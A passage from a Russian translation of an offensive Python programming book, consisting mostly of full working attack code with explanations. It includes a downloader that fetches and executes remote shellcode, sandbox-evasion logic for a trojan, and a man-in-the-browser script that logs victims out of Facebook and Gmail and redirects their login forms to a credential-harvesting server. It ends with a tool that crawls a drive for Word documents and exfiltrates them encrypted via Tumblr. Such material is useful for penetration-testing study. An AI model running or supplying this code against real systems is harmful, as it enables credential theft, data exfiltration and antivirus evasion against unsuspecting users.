➏
рабочего стола с точностью до бита и храним его в контексте, основанном на памяти. Можете считать, что это memcpy вызов для GDI объектов. Последний шаг - перенос изображения на диск . Этот скрипт без труда можно протестировать: запускаем его из командной строки и
➐
проверяем директорию
C:\WINDOWS\Temp
. Ищем в ней файл screenshot.bmp. Продолжим выполнять шелл-код.
Исполнение шелл-кода в Python
Может наступить момент, когда вам захочется иметь возможность взаимодействия с одной из ваших целевых машин или использовать новый модуль эксплойта из вашего любимого теста на проникновение или фреймворка. Обычно, хотя и не всегда, это требует той или иной формы шелл-кода и его исполнения. Для того чтобы исполнить сырой шелл-код, нам просто нужно создать буфер в памяти и, используя модуль ctypes
, создать указатель функции к этой памяти и вызвать функцию. В нашем случае, мы будем использовать urllib2
, чтобы получить шелл-код с веб-сервера в формате base64. Давайте начнем! Открываем shell_exec.py и вводим следующий код:
import urllib2
import ctypes import base64
# retrieve the shellcode from our web server url = "http://localhost:8000/shellcode.bin"
response = urllib2.urlopen(url)
➊
# decode the shellcode from base64
shellcode = base64.b64decode(response.read())
# create a buffer in memory shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
➋
# create a function pointer to our shellcode shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE
➌
(ctypes.c_void_p))
# call our shellcode shellcode_func()
➍
Здорово, правда? Мы взяли шелл-код в формате base64 с нашего веб-сервера . Затем
➊
разместили буфер , чтобы сохранить шелл-код после его расшифровки. Функция ctypes
➋
cast позволяет буферу выполнять роль указателя функции , поэтому мы можем вызвать
➌
наш шелл-код, как бы мы вызывали обычную функцию в Python. Завершаем все вызовом нашего указателя функции, который приводит к исполнению шелл-кода .
➍
Проверка на деле
Вы можете написать шелл-код вручную или использовать ваш любимый фреймворк для пентестинга, например CANVAS или Metasploit [19], которые сгенерируют этот код. Я выбрал Windows[86 шелл-код для CANVAS. Храните сырой шелл-код (не строковый буфер!) в
/tmp/shellcode.raw на своей Linux машине и запустите следующий код: justin$ base64 i shellcode.raw > shellcode.bin justin$ python m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
Следующая небольшая хитрость — это использование модуля
SimpleHTTPServer
, чтобы ваша текущая рабочая директория (в нашем случае,
/tmp/) выступала в качестве корня.
Любые запросы файлов будут автоматически вам передаваться. Теперь переносим скрипт shell_exec.py на виртуальную машину Windows и выполняем его. В своем терминале Linux вы должны увидеть следующее:
192.168.112.130 [12/Jan/2014 21:36:30] "GET /shellcode.bin HTTP/1.1" 200
Это указывает на то, что ваш скрипт получил шелл-код из простого веб-сервера, который вы настроили при помощи модуля
SimpleHTTPServer
. Если все пойдет хорошо, то вы получите шелл обратно в свой фреймворк и увидите calc.exe
, или окно сообщений, или то, на что был скомпилирован ваш шелл-код.
Обнаружение песочницы (Sandbox)
Все чаще, антивирусные решения применяют ту или иную форму выделенной среды, которая известна, как «песочница» для выявления подозрительного поведения. Эта песочница может быть запущена по периметру сети, что становится все более популярным, или непосредственно на целевой машине. В любом случае, мы должны делать все возможное, чтобы не попасть под действие этой защиты в целевой сети. Мы можем использовать несколько индикаторов, чтобы попытаться определить, работает ли наш троян внутри песочницы или нет. Мы будем отслеживать нашу целевую машину на предмет данных, вводимых пользователем, в том числе нажатия на клавиши и клики мыши.
Затем мы добавим немного базовых функций, чтобы выявить нажатия на клавиши, клики мыши и двойные клики. Наш скрипт всегда будет пытаться определить, не посылает ли оператор песочницы постоянно входные данные (например, подозрительно быстрая последовательность непрерывных кликов мыши), чтобы попытаться отреагировать на элементарные методы обнаружения песочницы. Мы сравним, когда пользователь в последнее время взаимодействовал с машиной и как долго машина была запущена, что должно дать нам представление о том, находимся мы внутри песочницы или нет. Обычная машина характеризуется большим количеством взаимодействий в течении дня, как только машина загрузилась. А вот в среде песочницы обычно нет взаимодействий с пользователем, так как песочницы, как правило, используются в качестве автоматического метода анализа вредоносных программ.
Давайте поработаем над кодом обнаружения песочницы. Откройте sandbox_detect.py и пропишите следующий код: import ctypes import random import time import sys user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32
keystrokes = 0
mouse_clicks = 0
double_clicks = 0
Это главные переменные, где мы планируем отслеживать общее число кликов мыши, двойных кликов и нажатий на клавиши. Затем мы посмотрим на время событий мыши. А теперь давайте создадим и протестируем код для выявления, как долго была запущена система и сколько времени она остается запущенной с момента последнего ввода пользователем данных. Добавьте следующую функцию в скрипт sandbox_detect.py:
class LASTINPUTINFO(ctypes.Structure):
_fields_ = [("cbSize", ctypes.c_uint),
("dwTime", ctypes.c_ulong)
]
def get_last_input():
struct_lastinputinfo = LASTINPUTINFO()
➊
struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO)
# get last input registered
➋
user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))
# now determine how long the machine has been running
➌
run_time = kernel32.GetTickCount()
elapsed = run_time struct_lastinputinfo.dwTime print "[*] It's been %d milliseconds since the last input event." %
elapsed
return elapsed
# TEST CODE REMOVE AFTER THIS PARAGRAPH!
while True:
➍
get_last_input()
time.sleep(1)
мы определяем структуру
LASTINPUTINFO
, где будет содержаться временная отметка (в миллисекундах) того, когда было обнаружено последнее событие ввода в системе. Обратите внимание, что вам придется инициализировать переменную cbSize до размера
➊
структуры, прежде чем совершать вызов. Затем мы вызываем функцию GetLastInputInfo ,
➋
которая заполняет поле struct_lastinputinfo.dwTime временными отметками.
Следующий шаг — определить, как долго была запущена система. Мы сделаем это при помощи функции
GetTickCount
. Последний сниппет кода — это просто тестовый
➌
➍
код, где вы можете запустить скрипт и затем передвинуть мышь или нажать клавишу на клавиатуре и посмотреть новую часть кода в действии.
Мы определим порог для этих входящих значений. Но сначала нужно отметить, что общее время запуска системы и последнее обнаруженное событие ввода данных пользователем также может иметь отношение к вашему конкретному методу внедрения. Например, если вы знаете, что вы будете применять только тактику фишинга, то, вероятней всего, пользователю придется сделать клик или выполнить какую-то операцию, чтобы заразиться. Это означает, что в течение последней минуты или двух, вы увидите вводные данные пользователя. Если по той или иной причине, вы видите, что машина работает уже 10 минут, а последний обнаруженный ввод данных был зафиксирован 10 минут назад, то, вероятней всего, вы находитесь в песочнице, которая не обработала вводимые пользователем данные.
Этот же метод полезен, если мы хотим увидеть, пользователь бездействует или активен, потому что мы захотим получить скриншоты, например, когда пользователь активно пользуется машиной. Аналогично, мы захотим передать данные или выполнить другие задачи, только когда пользователь оффлайн. Со временем, вы также сможете определить, в какие дни и какое время пользователь обычно бывает онлайн.
Давайте удалим последние три строки тестового кода и пропишем дополнительный код, чтобы посмотреть на нажатия на клавиши и клики мыши. Мы будем использовать чисто ctypes решение, в отличие от метода PyHook. Для этой цели вы также можете без проблем использовать PyHook, но никогда не помешает
иметь в своем арсенале пару новых инструментов, так как каждый антивирус и каждая технология «песочница» имеют свои способы обнаружения вредоносных программ. Давайте займемся кодом: def get_key_press():
globalglobalmouse_clicks keystrokes for i in range(0,0xff):
➊
if user32.GetAsyncKeyState(i) == 32767:
➋
➌
# 0x1 is the code for a left mouseclick if i == 0x1:
mouse_clicks += 1
return time.time()
elif i > 32 and i < 127:
➍
keystrokes += 1
return None
Эта простая функция говорит нам, какое число кликов мыши, время кликов мыши и количество нажатия на клавиши было сделано. Это возможно за счет итерации ряда рабочих ключей ; для каждого ключа мы проверяем, был ли он нажат при помощи вызова функции
➊
GetAsyncKeyState . Если обнаружено, что на ключ нажимали, мы проверяем, не является
➋
ли он виртуальным ключом 0x1
➌
для клика левой кнопкой мыши. Мы увеличиваем общее число кликов мыши и возвращаем текущую временную отметку, чтобы мы смогли позже выполнить расчет времени. Мы также проверяем нажатия на клавиатуре ASCII-символов , и если эти символы нажимались, то
➍
мы просто увеличиваем общее количество обнаруженных нажатий на клавиши. Иеперь давайте объединим результаты этих функций в нашем главном цикле обнаружения песочницы. Введите следующий код в sandbox_detect.py: def detect_sandbox():
global mouse_clicks global keystrokes max_keystrokes = random.randint(10,25)
➊
max_mouse_clicks = random.randint(5,25)
double_clicks = 0
max_double_clicks = 10
double_click_threshold = 0.250 # in seconds first_double_click = None average_mousetime = 0
max_input_threshold = 30000 # in milliseconds previous_timestamp = None detection_complete = False last_input = get_last_input()
➋
# if we hit our threshold let's bail out if last_input >= max_input_threshold:
sys.exit(0)
while not detection_complete:
keypress_time = get_key_press()
➌
if keypress_time is not None and previous_timestamp is not None:
# calculate the time between double clicks
➍
elapsed = keypress_time previous_timestamp
# the user double clicked
➎
if elapsed <= double_click_threshold:
double_clicks += 1
if first_double_click is None:
# grab the timestamp of the first double click first_double_click = time.time()
else:
if double_clicks == max_double_clicks:
➏
if keypress_time first_double_click <= .
➐
(max_double_clicks * double_click_threshold):
sys.exit(0)
# we are happy there's enough user input if keystrokes >= max_keystrokes and double_clicks >= max_.
➑
double_clicks and mouse_clicks >= max_mouse_clicks:
return previous_timestamp = keypress_time elif keypress_time is not None:
previous_timestamp = keypress_time detect_sandbox()
print "We are ok!"
Хорошо! Обратите внимание на отступы в блоках кода выше! Мы начинаем с определения некоторых переменных для отслеживания интервалов времени кликов мыши, а также
➊
определяем пороги количества нажатия на клавиш или кликов мыши, которые будут показателем, что мы находимся вне песочницы. Эти пороги будут варьироваться при каждом новом запуске. Но вы, конечно, можете установить свои пороги с учетом вашего тестирования.
Затем мы определяем истекшее время выполнения , с тех пор как в системе были
➋
зарегистрированы те или иные вводимые пользователем данные, и если мы понимаем, что прошло слишком времени с тех пор, как мы видели вводимые данные, то мы совершаем выход и троян умирает. Вместо того чтобы ваш троян умирал, вы можете выбрать какую- нибудь безобидную деятельность, например считывание рандомных ключей регистрации или проверка файлов. После того, как мы проведем эту начальную проверку, мы перейдем к нашему главному циклу обнаружения по нажатиям на клавиши и кликам мыши.
Сначала мы проверяем нажатия на клавиши и клики мыши и мы знаем, что если функция
➌
возвращает значение, то это временная отметка того, когда произошел клик мыши. Затем мы вычисляем время бездействия между кликами мыши и сравниваем его с нашим
➍
пороговым значением , чтобы определить, был ли это двойной щелчок. Наряду с
➎
выявлением двойного щелчка, мы также хотим увидеть, передавал ли оператор песочницы события клика одним потоком в саму песочницу, чтобы попытаться ввести в заблуждение
➏
методы обнаружения песочницы. Например, было бы довольно странно увидеть 100 двойных кликов подряд во время обычного пользования компьютером. Если достигнуто максимальное количество двойных кликов и они осуществлялись в быстрой последовательности , то мы
➐
осуществляем выход. Наш последний шаг — посмотреть, провели ли мы все проверки и смогли ли достигнуть нашего максимального числа кликов, нажатий на клавиши и двойных кликов ; если да, мы прерываем выполнение функции обнаружения песочницы.
➑
Я крайне рекомендую вам поэкспериментировать с настройками и добавлять дополнительные функции, такие как обнаружение виртуальной машины. Возможно, будет полезным отслеживать типичное использование в плане кликов, двойных кликов и нажатия на клавиши на нескольких своих компьютерах. (Я имею в виду ваших личных компьютерах, а не тех, что вы взломали!) В зависимости от ваших задач, вы можете вообще отказаться от обнаружения песочницы. Инструменты, которые мы разрабатывали в этой главе станут основой для ваших дальнейших действий.
[17] Скачайте PyHook по ссылке: http://sourceforge.net/projects/pyhook/
[18] Для того чтобы узнать о контекстах устройства и работе с GDI, посетите страницу
MSDN по ссылке: http://msdn.microsoft.com/en- us/library/windows/desktop/dd183553(v=vs.85).aspx
[19] Так как CANVAS — это коммерческий инструмент, изучите это руководство, как генерировать полезную нагрузку в Metasploit : http://www.offensive-security.com/metasploit- unleashed/Generating_Payloads
Глава 9. Развлекаемся с Internet Explorer
COM-автоматизация на Windows служит ряду практичных целей от взаимодействия с сетевыми сервисами до встраивания таблицы Microsoft Excel в ваше собственное приложение. Все версии Windows от XP и выше позволяют встраивать COM объект Internet
Explorer в приложения, и мы воспользуемся этой возможностью. Используя нативный объект автоматизации, мы создадим атаку по типу «человек в браузере», где сможем украсть учетные данные с веб-сайта, когда пользователь будет с ним взаимодействовать. Мы сделаем эту атаку расширяемой, чтобы можно было охватить несколько целевых сайтов. Последний шаг — использование Internet Explorer, как средство захвата данных из целевой системы. Мы включим какой-нибудь открытый шифровальный ключ, чтобы защитить захваченные данные и сделать так, чтобы расшифровать их могли только мы.
Internet Explorer, говорите? Хотя такие браузеры, как Google Chrome и Mozilla Firefox сегодня намного популярней, в корпоративной среде по-прежнему пользуются Internet Explorer, как браузером по умолчанию. К тому же, вы не можете удалить Internet Explorer из системы
Windows, поэтому данный метод всегда доступен для работы с Windows троянами.
«Человек в браузере» (аналог)
Атаки «человек в браузере» существуют с тех пор, как мир вошел в новое тысячелетие. Это вариация классической атаки посредника или «человек посередине». Но вместо того,
чтобы выступать посредником во взаимодействии, вредоносная программа сама устанавливается и крадет учетные данные или чувствительную информацию с ничего не подозревающего целевого браузера. Большинство этих модификаций вредоносного ПО (их обычно называют вспомогательными объектами браузера) встраиваются в браузер или вставляют код, чтобы иметь возможность манипулировать процессом браузера. Разработчики бразуеров и продавцы антивирусных решений уже знают об этих методах, поэтому нам нужно быть хитрее. Оптимизируя COM-интерфейс под Internet Explorer, мы сможем контролировать любую сессию в IE, чтобы получить учетные данные социальных сетей или логины электронной почты. В зависимости от вашей цели, вы также можете использовать этот метод совместно с модулем клавиатурного шпиона, чтобы они заново прошли аутентификацию на сайте, пока вы перехватываете нажатия на клавиши.
Мы начнем с создания простого примера, который будет наблюдать за действиями пользователя на Facebook и Gmail, осуществит де-аутентификацию пользователя и изменит форму логина, которая отправит имя пользователя и пароль на HTTP-сервер под нашим контролем. Затем наш HTTP-сервер просто перенаправит их обратно на реальную страницу входа на сайт.
Если вы когда-нибудь занимались разработкой JavScript, то вы заметите сходство с моделью
COM для взаимодействия с IE. Мы выбрали Facebook и Gmail, потому что у корпоративных пользователей есть вредная привычка использовать одинаковые пароли . Итак, откроем open mitb.py и введем следующий код:
import win32com.client import time import urlparse import urllib data_receiver = "http://localhost:8080/"
➊
target_sites = {}
➋
target_sites["www.facebook.com"] =
{"logout_url" : None,
"logout_form" : "logout_form",
"login_form_index": 0,
"owned" : False}
target_sites["accounts.google.com"] =
{"logout_url" : "https://accounts.google.com/
Logout?hl=en&continue=https://accounts.google.com/
ServiceLogin%3Fservice%3Dmail",
"logout_form" : None,
"login_form_index" : 0,
"owned" : False}
# use the same target for multiple Gmail domains target_sites["www.gmail.com"] = target_sites["accounts.google.com"]
target_sites["mail.google.com"] = target_sites["accounts.google.com"]
clsid='{9BA05972F6A811CFA44200A0C90A8F39}'
windows = win32com.client.Dispatch(clsid)
➌
Так создается наша атака «человек в браузере». Мы определяем нашу переменную data_receiver , как веб-сервер, который будет принимать учетные данные с целевых сайтов.
➊
Этот метод рискованней, так как опытный пользователь может заметить, что произошло перенаправление, поэтому на будущее
подумайте о способах удаления cookies или передаче сохраненных учетных данных через
DOM через тег изображения или другие способы, которые выглядят менее подозрительными.
Затем мы устанавливаем словарь целевых сайтов . У словаря есть следующие элементы:
➋
logout_url
- это URL, который мы можем перенаправить чрез запрос GET, чтобы вынудить пользователя выйти из своего аккаунта; l ogout_form
- это DOM-элемент, который содержит форму регистрации, которую мы будем модифицировать; и флаг owned сообщит нам, если мы уже перехватили учетные данные с целевого сайта, потому что в этом случае, мы не захотим постоянно регистрироваться в форме, в противном случае, цель может заподозрить что-то неладное. Затем мы используем ID класс Internet Explorer и создадим
COM-объект , который даст нам доступ ко всем вкладкам и экземплярам Internet Explorer,
➌
которые на данный момент запущены.
Итак, поддерживающая структура готова, давайте создадим главный цикл нашей атаки: while True:
for browser in windows:
➊
url = urlparse.urlparse(browser.LocationUrl)
if url.hostname in target_sites:
➋
if target_sites[url.hostname]["owned"]:
➌
continue
# if there is a URL, we can just redirect
➍
if target_sites[url.hostname]["logout_url"]:
browser.Navigate(target_sites[url.hostname]["logout_url"])
wait_for_browser(browser)
else:
# retrieve all elements in the document full_doc = browser.Document.all
➎
# iterate, looking for the logout form for i in full_doc:
try:
# find the logout form and submit it if i.id == target_sites[url.hostname]["logout_form"]:
➏
i.submit()
wait_for_browser(browser)
except:
pass
# now we modify the login form try:
login_index = target_sites[url.hostname]["login_form_index"]
login_page = urllib.quote(browser.LocationUrl)
browser.Document.forms[login_index].action = "%s%s" % (data_.
➐
receiver, login_page)
target_sites[url.hostname]["owned"] = True except:
pass time.sleep(5)
Это наш главный цикл, где мы отслеживаем сессии нашего целевого браузера по тем сайтам, откуда мы хотим получить учетные данные. Мы осуществляем итерацию по всем запущенным на данный момент объектам Internet Explorer . Сюда входят активные вкладки
➊
в современном IE. Если мы обнаруживаем, что цель посещает один из нужных нам сайтов
, мы можем запустить главную логику нашей атаки. Первый шаг — определить,
➋
действительно ли мы запустили атаку на сайте . Если да, то мы не будем запускать ее еще
➌
раз.
(Это можно считать недостатком. Если пользователь ввел свой пароль неправильно, то мы можем упустить учетные данные. Подумайте, в качестве домашнего задания, как можно решить это проблему).
Затем мы проводим тестирование, чтобы посмотреть, есть ли у целевого сайта простой URL для выхода из системы, который мы сможем перенаправить и если да, то мы дадим
➍
браузеру указание сделать это. Если целевой сайт (например, Facebook) требует от пользователя отправки формы, чтобы выйти из системы, то мы выполняем перебор DOM- объектов и когда мы обнаруживаем ID HTML-элемента, который зарегистрирован для
➎
формы выхода из системы , мы отправляем эту форму. После того, как пользователь был
➏
перенаправлен в форму регистрации, мы модифицируем конечную точку формы, чтобы отправить имя пользователя и пароль на сервер, который мы контролируем . После этого
➐
ждем, когда пользователь выполнит вход. Обратите внимание, что мы добавили имя хоста нашего целевого сайта в конец URL нашего HTTP сервера, который собирает учетные данные. Наш HTTP сервер знает, на какой сайт перенаправить браузер, после того как будут собраны учетные данные.
Вы заметите, что функция wait_for_browser
— это простая функция, которая ждет, когда браузер завершить операцию, например навигацию по новой странице или ожидание полной загрузки страницы. Давайте добавим сейчас эту функцию в следующий код над главным циклом нашего скрипта:
def wait_for_browser(browser):
# wait for the browser to finish loading a page while browser.ReadyState != 4 and browser.ReadyState !=
"complete":
time.sleep(0.1)
return
Довольно просто. Мы смотрим, чтобы DOM полностью загрузился, прежде чем разрешим исполнение оставшегося скрипта. Это позволит нам точно рассчитать время любых модификаций DOM или операций по парсингу.
Создаем сервер
Итак, мы настроили скрипт атаки, теперь можно создать очень простой HTTP сервер для сбора учетных данных. Открываем новый файл, называем его cred_server.py и прописываем следующий код:
import SimpleHTTPServer import SocketServer import urllib class CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['ContentLength'])
➊
creds = self.rfile.read(content_length).decode('utf8')
➋
print creds
➌
site = self.path[1:]
➍
self.send_response(301)
self.send_header('Location',urllib.unquote(site))
➎
self.end_headers()
server = SocketServer.TCPServer(('0.0.0.0', 8080), CredRequestHandler)
➏
server.serve_forever()
Этот простой сниппет кода — это специально созданный нами HTTP сервер. Мы инициализируем базовый
TCPServer класс с IP, портом и классом
CredRequestHandler
, который будет отвечать за обработку HTTP POST запросов.
➏
Когда наш сервер получает запрос от целевого браузера, мы считываем заголовок
Content
Length
, чтобы определить размер запроса, а затем мы считываем содержимое запроса
➊
➋
и распечатываем его . После этого, мы анализируем сайт, откуда пришел запрос (Facebook,
➌
Gmail и т. д.) и заставляем целевой браузер перенаправить обратно на главную страницу
➍
➎
целевого сайта. Вы можете дополнительно настроить функцию по отправке самому себе электронного письма, каждый раз, когда будут получены учетные данные, чтобы вы могли совершить попытку входа, используя учетные данные до того, как у пользователя появится возможность изменить свой пароль.
Ну что же, попробуем.
Проверка на деле
Запускаем новый экземпляр IE и запускаем скрипты mitb.py и cred_server.py в отельных окнах. Сначала вы можете походить по разным сайтам, чтобы убедиться, что нет никакого странного поведения, чего, в принципе, быть не должно. Теперь переходим на Facebook и
Gmail и пытаемся войти в систему. В окне cred_server.py вы должны увидеть примерно следующее (на примере Facebook):
C:\> python.exe cred_server.py lsd=AVog7IRe&email=justin@nostarch.com&pass=pyth0nrocks&default_persistent=0&
timezone=180&lgnrnd=200229_SsTf&lgnjs=1394593356&locale=en_US
localhost [12/Mar/2014 00:03:50] "POST /www.facebook.com HTTP/1.1" 301
Вы четко можете видеть, как поступают учетные данные, происходит редирект, и браузер возвращается в главный экран регистрации. Конечно, вы также можете провести тест, где у вас будет запущен Internet Explorer и вы уже зашли на Facebook, используя логин. В таком случае, запустите скрипт mitb.py и вы увидите, как он вынуждает вас выйти из системы.
Теперь, когда мы можем таким образом перехватить учетные данные пользователя, давайте посмотрим, как мы сможем использовать IE, чтобы перехватить информацию из целевой сети.
COM-автоматизация в IE для захвата данных
Получить доступ к целевой сети — это только половина битвы. Для того чтобы доступ имел какой-то смысл, вы должны иметь возможность получать документы, таблицы или другие данные из целевой системы. В зависимости от установленных механизмов защиты, последняя часть атаки может оказаться проблематичной. Можно столкнуться с локальными или удаленными системами (или комбинацией и того, и другого), которые оценивают процессы, открывающие удаленные соединения, а также спосбность этих процессов отправлять информацию или инициировать соединения за пределами внутренней сети.
Канадский исследователь вопросов безопасности Карим Натоо (Karim Nathoo) отметил, что
COM-автоматизация в IE обладает замечательным преимуществом. Здесь используется процесс
Iexplore.exe, которому обычно доверяют и он находится в белом списке.
Мы создадим скрипт Python, который сначала проведет поиск по документам Microsoft Word в локальной файловой системе. Когда обнаруживается документ, скрипт шифрует его используя шифрование с открытым ключом [20]. После того как документ будет зашифрован,
мы автоматизируем процесс публикации зашифрованного документа в блоге на tumblr.com.
Это позволит нам скрыть документ и использовать его, когда нам это будет нужно, при этом никто другой не сможет его расшифровать. Используя надежные сайты с хорошей репутацией, такие как Tumblr, мы также должны уметь обходить firewall или proxy, иначе мы не сможем просто отправить документ на IP-адрес или веб-сервер, который мы контролируем. Давайте сначала добавим поддерживающие функции в наш скрипт. Откроем ie_exfil.py и введем следующий код: import win32com.client import os import fnmatch import time import random import zlib from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
doc_type = ".doc"
username = "jms@bughunter.ca"
password = "justinBHP2014"
public_key = ""
def wait_for_browser(browser):
# wait for the browser to finish loading a page while browser.ReadyState != 4 and browser.ReadyState != "complete":
time.sleep(0.1)
return
Мы создаем только импортирование, типы документов, которые мы будем искать, имя пользователя и пароль в Tumblr и заполнитель для нашего открытого ключа, который мы будем генерировать позже. Теперь давайте допишем код, чтобы мы могли шифровать имя файла и его содержимое: def encrypt_string(plaintext):
chunk_size = 256
print "Compressing: %d bytes" % len(plaintext)
➊
plaintext = zlib.compress(plaintext)
print "Encrypting %d bytes" % len(plaintext)
rsakey = RSA.importKey(public_key)
➋
rsakey = PKCS1_OAEP.new(rsakey)
encrypted = " "
offset = 0
while offset < len(plaintext):
➌
chunk = plaintext[offset:offset+chunk_size]
if len(chunk) % chunk_size != 0:
➍
chunk += " " * (chunk_size len(chunk))
encrypted += rsakey.encrypt(chunk)
offset += chunk_size encrypted = encrypted.encode("base64")
➎
print "Base64 encoded crypto: %d" % len(encrypted)
return encrypted def encrypt_post(filename):
# open and read the fil e fd = open(filename,"rb")
contents = fd.read()
fd.close()
encrypted_title = encrypt_string(filename)
➏
encrypted_body = encrypt_string(contents)
return encrypted_title,encrypted_body
Функция encrypt_post отвечает за прием имени файла и возврат зашифрованного имени файла и зашифрованного содержимого файла в формате base64. Сначала мы вызываем функцию encrypt_string
, передаем название нашего целевого файла, которое станет
➏
названием поста в блоге на Tumblr. Сначала функция encrypt_string осуществит сжатие файла при помощи модуля zlib и только потом настроит объект RSA алгоритма с
➊
открытым ключом , используя сгенерированный нами открытый ключ. Затем мы начнем
➋
изучать содержимое файла и шифровать его частями по 256 байт, так как это максимально
➌
допустимый размер у RSA алгоритма. Шифровать будем при помощи PyCrypto. Если последняя часть файла не будет больше 256 байт, то мы добавим пробелы, чтобы
➍
шифрование прошло успешно, так же как и расшифровка на другом конце. После того, как мы создадим всю строку с зашифрованным текстом, мы закодируем ее в формате base64 ,
➎
прежде чем возвращать. Мы используем формат шифрования base64, чтобы мы могли сделать публикацию на Tumblr без каких-либо проблем.
Итак, все задачи с шифрованием завершены, давайте начнем добавлять логику, чтобы мы смогли зайти в панель управления Tumblr и осуществить там навигацию. К сожалению, нет простого и быстрого способа найти элементы пользовательского интерфейса в сети. Лично я потратил 30 минут, работая в Google Chrome и используя его инструменты разработки, чтобы изучить каждый HTML-элемент, с которым мне нужно было установить взаимодействие.
Хочу также отметить, что на странице настроек Tumblr, я переключил режим редактирования на простой текст, чтобы отключить раздражающий редактор, основанный на JavaScript. Если вы хотите использовать другой сервис, то вам придется выяснить точный временной период,
DOM взаимодействия и элементы HTML, которые вам потребуются. Хорошо, что в Python легко добиться автоматизации. Итак, добавим еще кода!
def random_sleep():
➊
time.sleep(random.randint(5,10))
return def login_to_tumblr(ie):
# retrieve all elements in the document full_doc = ie.Document.all
➋
# iterate looking for the login form
for i in full_doc:
if i.id == "signup_email":
➌
i.setAttribute("value",username)
elif i.id == "signup_password":
i.setAttribute("value",password)
random_sleep()
# you can be presented with different home pages if ie.Document.forms[0].id == "signup_form":
➍
ie.Document.forms[0].submit()
else:
ie.Document.forms[1].submit()
except IndexError, e:
pass random_sleep()
# the login form is the second form on the page wait_for_browser(ie)
return
Мы создаем простую функцию random_sleep
, которая будет неактивна некоторое
➊
количество времени. Это нужно для того, чтобы браузер мог выполнять задачи, которые могут не регистрировать DOM-события, сигнализирующие о завершении задачи. Функция login_to_tumblr начинает захватывать все элементы в DOM , ищет поля для e-mail и
➋
пароля и настраивает их в соответствии с учетными данными, которые мы предоставили
➌
(не забудьте зарегистрировать аккаунт). При каждом посещении, у Tumblr может быть немного другой экран регистрации, поэтому следующая часть кода пытается найти форму
➍
регистрации и отправить ее. После выполнения этого кода, мы должны войти в панель управления Tumblr и мы сможем опубликовать некоторую информацию. Давайте сейчас добавим код. def post_to_tumblr(ie,title,post):
full_doc = ie.Document.all for i in full_doc:
if i.id == "post_one":
i.setAttribute("value",title)
title_box = i i.focus()
elif i.id == "post_two":
i.setAttribute("innerHTML",post)
print "Set text area"
i.focus()
elif i.id == "create_post":
print "Found post button"
post_form = i i.focus()
# move focus away from the main content box random_sleep()
title_box.focus()
➊
random_sleep()
# post the form
post_form.children[0].click()
wait_for_browser(ie)
random_sleep()
return
Ничего в этом коде не должно показаться вам незнакомым. Мы просто просматриваем DOM, чтобы найти,
куда отправить название и тело поста для блога. Функция post_to_tumblr только получает экземпляр браузера и зашифрованное имя файла и его содержимое для публикации.
Одна маленькая хитрость (я узнал о ней благодаря инструментам разработки Chrome).
➊
Нам нужно увести фокус от основного содержимого поста, чтобы JavaScript в Tumblr активировал кнопку Post. Теперь, когда мы можем войти и опубликовать пост на Tumblr, давайте добавим в наш скрипт последние штрихи. def exfiltrate(document_path):
ie = win32com.client.Dispatch("InternetExplorer.Application")
➊
ie.Visible = 1
➋
# head to tumblr and login ie.Navigate("http://www.tumblr.com/login")
wait_for_browser(ie)
print "Logging in..."
login_to_tumblr(ie)
print "Logged in...navigating"
ie.Navigate("https://www.tumblr.com/new/text")
wait_for_browser(ie)
# encrypt the file title,body = encrypt_post(document_path)
print "Creating new post..."
post_to_tumblr(ie,title,body)
print "Posted!"
# destroy the IE instance
➌
ie.Quit()
ie = None return
# main loop for document discovery
# NOTE: no tab for first line of code below for parent, directories, filenames in os.walk("C:\\"):
➍
for filename in fnmatch.filter(filenames,"*%s" % doc_type):
document_path = os.path.join(parent,filename)
print "Found: %s" % document_path exfiltrate(document_path)
raw_input("Continue?")
Функцию exfiltrate мы будем вызывать для каждого документа, который мы хотим сохранить на Tumblr. Сначала функция создает новый экземпляр COM-объекта Internet
Explorer . Хорошо, что вы можете сами решать, делать этот процесс видимым или нет .
➊
➋
Для отладки, задайте значение 1, но для максимальной скрытности, конечно, нужно ставить значение 0. Это очень практично, если, к примеру, ваш троян обнаруживает другую активность. В этом случае, вы можете начать извлекать документы, которые могут помочь вам и дальше принимать участие в деятельности пользователя. После того, как мы вызовем все наши вспомогательные функции, мы просто удаляем экземпляр IE . Последняя часть
➌
нашего скрипта отвечает за просмотр C:\ drive на целевой системе и попытку подобрать
➍
расширение файла (в нашем случае, это
.doc). Каждый раз, когда будет найден файл, мы просто передаем весь путь файла нашей функции exfiltrate
Итак, наш главный код готов, теперь нам нужно создать быстрый скрип для генерации ключа
RSA, а также скрипт расшифровки, который мы можем использовать, чтобы вставить часть зашифрованного текста Tumblr и получить простой текст. Откроем keygen.py и введем следующий код: from Crypto.PublicKey import RSA
new_key = RSA.generate(2048, e=65537)
public_key = new_key.publickey().exportKey("PEM")
private_key = new_key.exportKey("PEM")
print public_key print private_key
Все верно, Python настолько вредный, что мы можем делать это в нескольких строках кода.
Этот блок кода выдает и закрытую, и открытую пару ключей. Скопируйте открытый ключ в скрипт ie_exfil.py. Затем откройте новый Python файл и назовите его decryptor.py, ведите следующий код (вставьте закрытый ключ в переменную private_key
):
import zlib import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
private_key = "###PASTE PRIVATE KEY HERE###"
rsakey = RSA.importKey(private_key)
➊
rsakey = PKCS1_OAEP.new(rsakey)
chunk_size= 256
offset = 0
decrypted = ""
encrypted = base64.b64decode(encrypted)
➋
while offset < len(encrypted):
decrypted += rsakey.decrypt(encrypted[offset:offset+chunk_size])
➌
offset += chunk_size
# now we decompress to original plaintext = zlib.decompress(decrypted)
➍
print plaintext
Идеально! Мы просто реализовали наш класс RSA, используя закрытый ключ , а затем мы
➊
раскодировали наш блок данных из Tumblr. Мы просто взяли части по 256 байт и
➋
➌
зашифровали их, постепенно загружая строку с нашим оригинальным простым текстом.
Последний шаг — распаковать полезную нагрузку, которую мы сжимали на другой
➍
стороне.
Проверка на деле
В этой части кода есть много подвижных частей, но его все равно вполне легко использовать.
